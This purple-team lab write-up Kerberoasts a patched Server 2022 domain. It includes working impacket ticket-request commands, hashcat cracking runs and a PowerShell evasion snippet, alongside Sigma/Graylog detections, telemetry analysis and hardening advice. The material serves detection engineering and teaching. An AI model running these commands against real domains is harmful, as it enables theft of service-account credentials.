PurpleForest, Part 2: Kerberoasting a Domain That Fights Back
Every kerberoasting tutorial fails on a patched Server 2022 DC. Here is why, what actually works, and which of four detections survives the evasion.
purple-team active-directory kerberoasting detection-engineering sigma graylog kerberos hashcat impacket

Part 1 built the lab: a Windows domain, Sysmon and Vector telemetry, a Graylog SIEM and a Kali box that can reach all of it. This post runs the first exercise through it.
The plan was ordinary. Kerberoasting is the most-written-about Active
Directory attack there is, the lab had a toggle for it already, and I expected
a short post: run GetUserSPNs, crack a hash, write a Sigma rule, done.
What actually happened is that the attack failed fifty-two times in a row, and working out why turned into the most useful thing in this series so far. Every kerberoasting walkthrough I could find was written before November 2022, and none of them work as written against a current domain controller.
So this post is the attack, the wall it hits, the two ways past it, and then the part that matters: four detections, measured against a real baseline, and an evasion that blinds three of them.
⚠️ Lab only. Passwords here are deliberately weak and published in a public repo, Defender is off, and the domain is misconfigured on purpose. Never bridge this lab to a real network, and never reuse these credentials.
Everything is in the repo:
github.com/zebracherry/PurpleForest.
The detections are in
detections/kerberoasting/.
#Before the attack: Kali had no internet
A detour, because it cost me an hour and it will cost you one too.
Kali came up unable to resolve anything:
$ ping -c2 google.com
ping: google.com: Temporary failure in name resolutionIt looked like a DNS problem. It was not. Two things were true at once: the
lab address 10.10.10.50 was assigned to a NIC, and there was no default
route at all. /etc/resolv.conf named a nameserver nothing could reach.
The cause was interface naming. Compare the MACs the guest sees against the
ones in the .vmx:
| Guest NIC | MAC | Actually attached to |
|---|---|---|
eth0 |
…fe:c6 |
ethernet1 → vmnet5, the lab |
eth1 |
…fe:bc |
ethernet0 → NAT, the internet |
They are swapped. Kali's NAT adapter is an e1000, the lab adapter the
installer attaches is a vmxnet3, and which one gets eth0 is decided by
driver probe order, not by the order they appear in the .vmx. Part 1's
bootstrap created the lab's NetworkManager profile with ifname eth1, which
was correct the day it ran. One reboot flipped the names, and the profile
then pinned the lab's static address onto the NAT adapter.
That single mistake costs you the internet route and the lab at the same
time, while presenting only as a DNS failure. My lab had been unreachable
too — dc01:5985, dc01:88, dc01:389 and siem01:9000 all failed, and I
had not noticed because I had not tried.
The fix is to bind the profile to a MAC address, never to an interface name:
sudo nmcli con modify purpleforest-lab \
connection.interface-name "" \
802-3-ethernet.mac-address "$(cat /sys/class/net/eth0/address)" \
ipv4.never-default yesbootstrap-kali.sh now does this for both adapters and repairs the broken
state in place, so a git pull and a re-run is all you need. It survives a
cold boot, which the name-bound version did not.
Why ipv4.never-default yes matters: it is what keeps the isolated lab
network out of your default route. Never give the lab profile a gateway.
#Step 1: Scenario
Kerberoasting is T1558.003, Credential Access. It works because of one design decision in Kerberos: any authenticated domain user can request a service ticket for any SPN, and that ticket is encrypted with a key derived from the service account's password. No special rights, no touching the service, no interaction with anything but the domain controller. Take the ticket away and crack it offline at your leisure.
So the attacker here starts where a real one usually does: holding one
ordinary domain credential and nothing else. Phished, sprayed, found in a
script — it does not matter. The lab calls it CORP\jdoe, a plain member of
Domain Users.
That account is new in this part. BadBlood gives the domain 2,491 users, but
they all have random passwords, so none of them can play the part of a
foothold. jdoe is created unconditionally now, because almost every exercise
in the series begins after initial access:
| What | Username | Password |
|---|---|---|
| Attacker foothold | CORP\jdoe |
Lab0ratory! |
#Step 2: Set up the targets
cd ~/PurpleForest/ansible
ansible-playbook site.yml --limit dc01 -e misconfig_kerberoast=trueThat creates two service accounts, and the difference between them is the whole exercise:
| Account | Password | In rockyou? | msDS-SupportedEncryptionTypes |
|---|---|---|---|
svc_mssql |
Summer2024 |
no | 0x18 — AES128 + AES256 |
svc_backup_sql |
Password123 |
yes | 0x4 — RC4 only |
Both get an SPN. svc_backup_sql is the legacy case: an account pinned to RC4
because some ancient application needed it, which is a configuration you will
find in real estates more often than you would like. svc_mssql is the modern
default.
Hold onto that right-hand column. It turns out to decide everything.
#Step 3: The attack that every tutorial tells you to run
impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10The discovery half works perfectly, and it is worth noticing how cheap it is. This is pure LDAP — no Kerberos traffic, no tickets, nothing that looks like an attack. Any authenticated user can ask the directory which accounts hold SPNs, and the directory answers:

Fifty-two accounts. Fifty of them are BadBlood's, which matters more than it sounds: a lab with two service accounts in it teaches you nothing about detection, because every rule you write looks perfect against a domain with no noise in it.
Now request the tickets, which is the attack proper:
impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10 \
-request -outputfile roast.hashesAnd all but one of them fails:
[-] Principal: corp.lab\WILBURN_PATTERSON - Kerberos SessionError:
KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
[-] Principal: corp.lab\JOSEFA_CHURCH - Kerberos SessionError:
KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
...
[-] Principal: corp.lab\svc_mssql - Kerberos SessionError:
KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
Fifty-one refusals out of fifty-two. roast.hashes is 2,042 bytes and
holds exactly one hash: svc_backup_sql, the account step 2 pinned to RC4
only. Every account holding an AES key refused. The single legacy one did not.
That one attribute is the entire difference, and working out why is the rest of this post.
My first instinct was that I had broken the lab. I had not. There is no
Kerberos GPO, no SupportedEncryptionTypes policy key, and no
DefaultDomainSupportedEncTypes registry value. On all fifty BadBlood
accounts that refused, msDS-SupportedEncryptionTypes is simply unset —
the default. This is a stock patched Server 2022 domain controller behaving
exactly as Microsoft intends.
#Step 4: Why it fails
Two things combine.
First, Impacket asks for RC4 on purpose. From its own source, in
GetUserSPNs.py:
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.It converts your password to an NT hash so the TGT session key is RC4, which makes every subsequent service ticket request ask for RC4. That is a deliberate choice, and a good one in 2018, because an RC4 ticket is vastly cheaper to crack. In 2026 it is what breaks the tool.
Second, a current KDC will not encrypt a service ticket with RC4 for an account that holds an AES key. It uses the strongest key the service account has, whatever the client asked for.
I tested every case against the DC rather than guessing, and the deciding factor is one attribute:
msDS-SupportedEncryptionTypes |
Result |
|---|---|
| unset (the default) | KDC_ERR_ETYPE_NOSUPP to an RC4-only client. No ticket, no hash. |
0x18 — AES128+AES256 |
$krb5tgs$18$, but only once the TGT itself is AES-negotiated |
0x1C — RC4+AES |
Ticket issued, still AES256. The KDC prefers the strongest key. |
0x4 — RC4 only |
$krb5tgs$23$. The classic attack, and the only way to get it. |
That 0x1C row is the trap. "Just turn RC4 back on" is the obvious thing
to try, and it changes nothing, because the account still holds an AES key and
the KDC still prefers it. You have to take AES away entirely before the old
attack comes back.
This is also why the telemetry in step 6 is more interesting than it has any right to be: on a patched domain, most kerberoasting attempts you will ever see in logs did not work.
#Step 5: Two attacks that do work
#Path A — the legacy account, the classic attack
svc_backup_sql is pinned to RC4 only, so there is no AES key for the KDC to
prefer. The sweep in step 3 already walked off with this one; asking for it on
its own just makes the result readable:
impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10 \
-request-user svc_backup_sql -outputfile rc4.hashes$krb5tgs$23$*svc_backup_sql$CORP.LAB$corp.lab/svc_backup_sql*$7771f1b5...$23$ is RC4-HMAC. hashcat mode 13100, and Password123 is in rockyou:
hashcat -m 13100 -a 0 rc4.hashes /usr/share/wordlists/rockyou.txt --potfile-disable
Cracked instantly at 689,800 H/s.
#Path B — the modern account, with an AES ticket
svc_mssql is AES-only, so Impacket's default gets nowhere. The fix is in the
tool's own logic: getTGT() returns a cached TGT if one exists, so get the
ticket-granting ticket with the cleartext password — which negotiates AES —
and roast from that cache:
impacket-getTGT corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10
export KRB5CCNAME=$PWD/jdoe.ccache
impacket-GetUserSPNs -k -no-pass corp.lab/jdoe -dc-ip 10.10.10.10 \
-request-user svc_mssql -outputfile aes.hashes$krb5tgs$18$svc_mssql$CORP.LAB$*corp.lab/svc_mssql*$72d039ab...$18$ is AES256-CTS-HMAC-SHA1-96. hashcat mode 19700.
Summer2024 is not in rockyou, so a plain wordlist run misses it — which is
worth doing, because it is the moment you reach for something better. Service
account passwords follow patterns, so target the pattern:
printf 'Summer\nWinter\nSpring\nAutumn\nPassword\nWelcome\nCompany\n' > base.txt
hashcat -m 19700 -a 6 aes.hashes base.txt '?d?d?d?d' --potfile-disable
Cracked in 21 seconds, 36,421 candidates in, at 2,005 H/s.
#What AES actually buys you
| etype | hashcat mode | speed | result | |
|---|---|---|---|---|
svc_backup_sql |
23 (RC4) | 13100 | 689,800 H/s | instant, plain rockyou |
svc_mssql |
18 (AES256) | 19700 | 2,005 H/s | 21s, hybrid attack |
Same CPU, same machine. AES costs the attacker about 344× — and both of these still fell in under a minute.
That is the honest conclusion, and it cuts both ways. Enforcing AES is absolutely worth doing; it is a two-and-a-half-order-of-magnitude tax on the attacker. It is also not a fix. A weak password is a weak password, and 344× of nothing is still nothing. The real answer is length, or a gMSA where the password is 240 bytes and nobody chose it.
#Step 6: Telemetry
#The pipeline needed fixing first
Before any of this was queryable, I hit a problem Part 1 never surfaced because Part 1 never asked a real question of the data.
Windows puts everything a detection needs — the service name, the encryption
type, the target account — inside the event's EventData section. Vector
hands that over as one nested object, and Graylog's GELF input has no nested
fields, so it collapsed the whole thing into a single JSON string:
"event_data": "{\"ServiceName\":\"svc_mssql\",\"TicketEncryptionType\":\"0x12\", ...}"You cannot query that. TicketEncryptionType:0x17 matches nothing, and
substring-matching the blob is both slow and wrong, because it matches the
value in any field.
The fix is a few lines in Vector's enrich transform, flattening EventData
to real top-level fields:
event_fields = {}
if is_object(.event_data) {
event_fields = object!(.event_data)
}
if length(event_fields) > 0 {
. = merge(event_fields, .)
del(.event_data)
}The keys keep Microsoft's own names — ServiceName,
TicketEncryptionType, TargetUserName — which is also what Sigma rules are
written against, so a rule maps to a Graylog field one to one. Existing fields
win on a collision, so it cannot clobber event_id or the GELF keys.
Events already in the index are not reparsed. Only events received after the change have these fields, which is why the first 23 events in my seven-day window have none.
#What the failed attack left behind
event_id:4769 AND Status:"0xe"104 events. The failure is richer than a success would have been:
| Field | Value | Meaning |
|---|---|---|
Status |
0xe |
KDC_ERR_ETYPE_NOSUPP |
TicketEncryptionType |
0xffffffff |
no ticket issued |
ServiceSid |
S-1-0-0 |
null SID, nothing granted |
TicketOptions |
0x40810010 |
Windows natively sends 0x40810000 |
IpAddress |
::ffff:10.10.10.50 |
Kali |

Two runs, 52 refusals each, peak 52 events in a single second — 52 rather
than 51, because I swept the domain before I got round to pinning
svc_backup_sql to RC4, so at that point nothing on the domain would hand out
an RC4 ticket at all. Follow this post in order and you get 51 and one hash,
which is the more useful result anyway. For
contrast, this whole domain produced 159 4769 events in seven days — and
134 of them were mine. The genuine Kerberos traffic of a 2,491-user domain
over a week was about 25 events, which tells you how little this lab resembles
a real estate, and why the false-positive numbers below are worth so little.
#The successful ones
event_id:4769 AND ServiceName:svc_backup_sqlServiceName |
Status |
TicketEncryptionType |
ServiceSupportedEncryptionTypes |
|---|---|---|---|
svc_backup_sql |
0x0 |
0x17 |
0x4 (RC4) |
svc_backup_sql |
0x0 |
0x12 |
0x1C (RC4, AES128, AES256) |
Those two rows are the 0x1C trap in telemetry form. Same account, same
attacker, same tool — the only difference is the attribute, and the KDC handed
over AES the moment an AES key existed.
#Excluding computer accounts
Every machine in the domain requests service tickets constantly, and those
SPNs resolve to accounts ending in $. The obvious exclusion does not work:
NOT ServiceName:*$ <-- rejected; Graylog disallows a leading wildcardUse a regex term instead. Every query below depends on it:
NOT ServiceName:/.*\$/#Step 7: Detection
Four rules, because no single one survives the exercise. All of them are in
detections/kerberoasting/sigma.yml.
#Rule 1 — an RC4 service ticket was issued
event_id:4769 AND TicketEncryptionType:"0x17" AND Status:"0x0"
AND NOT ServiceName:/.*\$/1 event in seven days, and it was mine. Every legitimate request in the
window was 0x12.
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
Status: '0x0'
filter_computer_account:
ServiceName|endswith: '$'
condition: selection and not 1 of filter_*
level: highHigh precision, almost no recall. It cannot see an AES roast, which is what a default modern KDC hands out. Do not ship it alone.
#Rule 2 and 3 — refusals, and bursts of them
event_id:4769 AND Status:"0xe"One refusal is noise. Dozens in a second is a tool. As a Graylog Event Definition:
| Field | Value |
|---|---|
| Condition type | Aggregation |
| Search query | event_id:4769 AND Status:"0xe" |
| Search within | 1 minute |
| Group by | TargetUserName |
| Condition | count() > 20 |
This is the rule that catches Impacket's default — the attack that fails. On a patched domain, that is most of them.
#Rule 4 — one account, many distinct SPNs
The important one.
| Field | Value |
|---|---|
| Search query | event_id:4769 AND NOT ServiceName:/.*\$/ |
| Search within | 5 minutes |
| Group by | TargetUserName |
| Aggregation | card(ServiceName) |
| Condition | card(ServiceName) > 15 |
Note what is missing from that query: any filter on Status. My first
version had Status:"0x0" in it, on the reasoning that a detection should
care about tickets that were actually issued. That is exactly backwards here.
The Impacket sweep issued no tickets — all 104 requests were refused — so a
success-only rule scores it at two distinct SPNs and never fires on the
loudest thing that happened all week. Counting every request, refused or not,
is what makes this rule see both the sweep and the evasion in step 8.
Over the week, jdoe requested tickets for 74 distinct SPNs. The only
other principal on the domain requested 1. That separation is the
detection, and it has nothing to do with encryption types or tooling.
One practical snag when you build this: TargetUserName on a 4769 carries
the UPN form, so the rows group as jdoe@CORP.LAB, not jdoe. Group by it
anyway — just do not expect the bare username when you go to write an
allowlist.

#Honest false positives
This lab produced 159 4769 events in a week, 134 of which I generated
myself. A real domain produces millions a day, and 4769 is usually near the
top of the volume charts. A zero false-positive rate here means nothing
about your environment.
| Rule | Lab FPs | What will really generate them |
|---|---|---|
| 1 — RC4 issued | 0 | Legacy apps pinned to RC4. Common, and constant rather than bursty. Allowlist by ServiceName, never by requesting account. |
| 2/3 — refusals | 0 | Broken clients and old appliances. They hammer one or two SPNs; an attacker sweeps many. |
| 4 — SPN volume | 0 | This is the one that will hurt. Vulnerability scanners, asset inventory, backup and monitoring agents all authenticate broadly and legitimately. |
Set rule 4's threshold above your noisiest legitimate account, not above the
lab's. Run the query over a week grouped by TargetUserName first.
#The fingerprint, and why it is not a rule
TicketOptions: 0x40810010 appeared on 108 events, every one of them from
Kali. That looks like a perfect discriminator.
It is not, for two reasons. A legitimate request from the DC itself carried
0x60810010, which also has the 0x10 bit set — so the bit is not
attacker-only, and only the exact value happened to be clean across a quiet
seven-day window. More damningly, the native value 0x40810000 ended up on 26
events, and 22 of those were an attack too — the evasion in step 8, run
from a domain-joined host. The fingerprint is absent from the attack you would
most want to catch.
Use it to raise confidence on an alert another rule already raised, and to pivot during triage. Never on its own.
#Step 8: Evasion
This is the step most write-ups skip, and it is the one that tells you whether your rules are worth anything.
All three rules so far key on something incidental: an encryption type, a
failure code, a tool artefact. So let us remove all three. From a
domain-joined workstation, as jdoe, using nothing but built-in Windows APIs
— no Impacket, no Rubeus, nothing dropped to disk:
# discovery over LDAP, no RSAT needed
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = '(&(objectCategory=user)(servicePrincipalName=*))'
$targets = $searcher.FindAll()
# ticket requests built by Windows itself
Add-Type -AssemblyName System.IdentityModel
foreach ($spn in $spns) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList $spn
}Because Windows constructs the TGS-REQ, the telemetry is native. Measured side by side:
| Impacket sweep | On-host PowerShell | |
|---|---|---|
| Events | 104 refusals + 4 tickets | 22 tickets, 0 refusals |
Status |
0xe |
0x0 |
TicketEncryptionType |
0xffffffff / 0x17 |
0x12 (AES256) |
TicketOptions |
0x40810010 |
0x40810000 — native |
| Source | Kali, 10.10.10.50 |
domain-joined ws01, 10.10.10.20 |
| Rule 1 (RC4) | fires | 0 matches |
| Rules 2+3 (refusals) | fires | 0 matches |
| Rule 4 (SPN volume) | 54 SPNs, fires | 20 SPNs, fires |
Three of the four rules go blind. By encryption type, ticket options and source host, that second run is indistinguishable from a user opening file shares.
And a correction I had to make to my own notes while testing this. It is
tempting to read the NOSUPP wall as "a patched domain cannot be
kerberoasted". It cannot be kerberoasted by Impacket's default, which is not
the same claim. Those 52 accounts have msDS-SupportedEncryptionTypes unset
and refused every RC4 request — then issued AES tickets without complaint to a
client that asked properly. Twenty of them, in one run, from the workstation.
#What the evasion costs
This is the part that makes it a trade rather than a win. The PowerShell
method leaves the ticket in the LSA cache and hands you nothing to crack.
Getting the bytes out needs Rubeus or Mimikatz reading from lsass.exe —
which is a far louder event than the one you just avoided, and Sysmon Event 10
ProcessAccess on LSASS is the single highest-value detection in this whole
series.
The evasion does not remove the detection surface. It moves it somewhere better lit.
#What survives
Rule 4, and only rule 4. The behaviour of the technique is "one principal asks
about an unusual number of services in a short time", and no choice of
encryption type or tooling changes that. Only genuine restraint does —
roasting two or three well-chosen accounts instead of sweeping the domain,
which is exactly what -request-user does.
Which is the lesson: the boring behavioural threshold outlived all three clever rules. It is also the one that takes real work to tune, because it is the one with real false positives. That is not a coincidence.
#Step 9: Fixing it
In rough order of how much they buy you:
- gMSAs wherever possible. A 240-byte managed password is not crackable in any meaningful sense, and nobody has to remember it.
- Length on everything else. 25+ characters on service accounts defeats the attack outright rather than slowing it down.
- Remove stale SPNs. BadBlood gave this domain 52; real domains accumulate them the same way. Every one is an offer.
- Drop RC4.
msDS-SupportedEncryptionTypesto0x18on service accounts, then remove RC4 domain-wide once nothing breaks. Worth 344×. - Audit who can enumerate SPNs. Any authenticated user can, by default. That is what makes step 3 of this attack free.
Note the order. The encryption type is fourth, under three things that are about the password itself — because AES bought 344× and still lost in 21 seconds.
#Step 10: Cleanup
cd D:\PurpleForest
.\lab.ps1 restoreBack to the baseline, ready for the next one.
#What I took away from this
I expected to write a post about kerberoasting. I ended up writing one about how quickly a well-documented technique goes stale, and how much of what is online is a 2018 snapshot presented as current fact.
The lab earned its keep twice over. It caught the ETYPE_NOSUPP wall, which I
would have blamed on my own misconfiguration if I had not been able to query
the DC and read the telemetry side by side. And it caught my own over-claim
afterwards — I had written "a patched domain cannot be kerberoasted" in my
notes, and the evasion test proved me wrong within the hour.
That is the whole argument for building the thing rather than reading about it.
If you build this and hit something that is not here, open an issue on the repo.